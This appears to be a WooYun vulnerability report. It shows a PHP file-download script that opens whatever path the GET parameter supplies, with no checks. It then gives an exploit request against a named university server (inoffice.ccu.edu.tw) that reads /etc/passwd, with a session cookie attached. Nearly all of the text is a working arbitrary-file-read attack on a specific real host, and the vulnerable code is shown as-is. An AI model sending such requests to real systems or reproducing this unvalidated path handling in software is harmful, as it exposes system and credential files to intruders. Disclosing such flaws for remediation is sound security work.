WooYun.org

<?php
	$path = $_GET['path'];
	$file = $_GET['file'];
	$fp = fopen($path, "rb");
	$len = filesize($path);
	$data = fread($fp, $len);
	fclose($fp);
	$file = iconv("utf-8","big5",$file);
	header('Content-Description: File Transfer');
	header('Content-Type: application/octet-stream');
	header('Content-Disposition: attachment; filename='.$file );
	header('Content-Transfer-Encoding: binary');
	header('Expires: 0');
	header('Cache-Control: must-revalidate');
	header('Pragma: public');
	header('Content-Length: ' . filesize($path));
	echo $data;
	exit();
?>

GET /pass_login/admin/download_file.php?path=/etc/passwd&file= HTTP/1.1
Host: inoffice.ccu.edu.tw
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://inoffice.ccu.edu.tw/pass_login/admin/download.php?id=36
Cookie: PHPSESSID=kjkhk2699ulduem6jq2rarjj30; __utma=201458249.360123480.1425100241.1425100241.1425100241.1; __utmb=201458249.1.10.1425100241; __utmc=201458249; __utmz=201458249.1425100241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive